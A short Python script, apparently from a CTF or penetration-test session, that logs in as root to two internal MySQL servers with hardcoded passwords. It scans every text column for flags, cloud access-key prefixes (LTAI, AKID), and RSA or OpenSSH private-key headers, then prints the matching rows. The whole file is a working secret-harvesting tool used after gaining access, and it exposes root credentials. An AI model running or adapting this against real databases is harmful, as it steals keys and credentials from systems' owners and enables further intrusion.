import sys; sys.path.insert(0,"/tmp/pymysql_lib")
import pymysql,time
TARGETS=[("10.0.0.42","root","56Wp96Z6bS3kBpBf","ums"),("10.0.0.49","root","oschina","osc_course")]
PATS=["flag{","FLAG{","ctf{","CTF{","oschina{","safeline","10.0.0.10","LTAI","AKID","BEGIN RSA","BEGIN OPENSSH"]
for host,u,p,db in TARGETS:
    print("##### DB",db,"@",host,flush=True)
    try:
        c=pymysql.connect(host=host,port=3306,user=u,password=p,database=db,connect_timeout=5,read_timeout=60,charset="utf8mb4")
        cur=c.cursor()
        cur.execute("SELECT table_name,column_name FROM information_schema.columns WHERE table_schema=%s AND data_type IN ('char','varchar','text','mediumtext','longtext','tinytext')",(db,))
        from collections import defaultdict
        cols=defaultdict(list)
        for t,cn in cur.fetchall(): cols[t].append(cn)
        for t,cs in cols.items():
            for pat in PATS:
                cond=" OR ".join(["`%s` LIKE %%s"%x for x in cs])
                q="SELECT * FROM `%s` WHERE %s LIMIT 2"%(t,cond)
                args=["%%%s%%"%pat]*len(cs)
                try:
                    cur.execute(q,args); rows=cur.fetchall()
                    if rows:
                        print("HIT",db,t,pat,"ROWS",len(rows))
                        for r in rows:
                            s=str(r)
                            print(" ROW",s[:600])
                except Exception as e:
                    pass
        c.close()
    except Exception as e:
        print("CONNERR",db,type(e).__name__,str(e)[:200])
print("DONE")
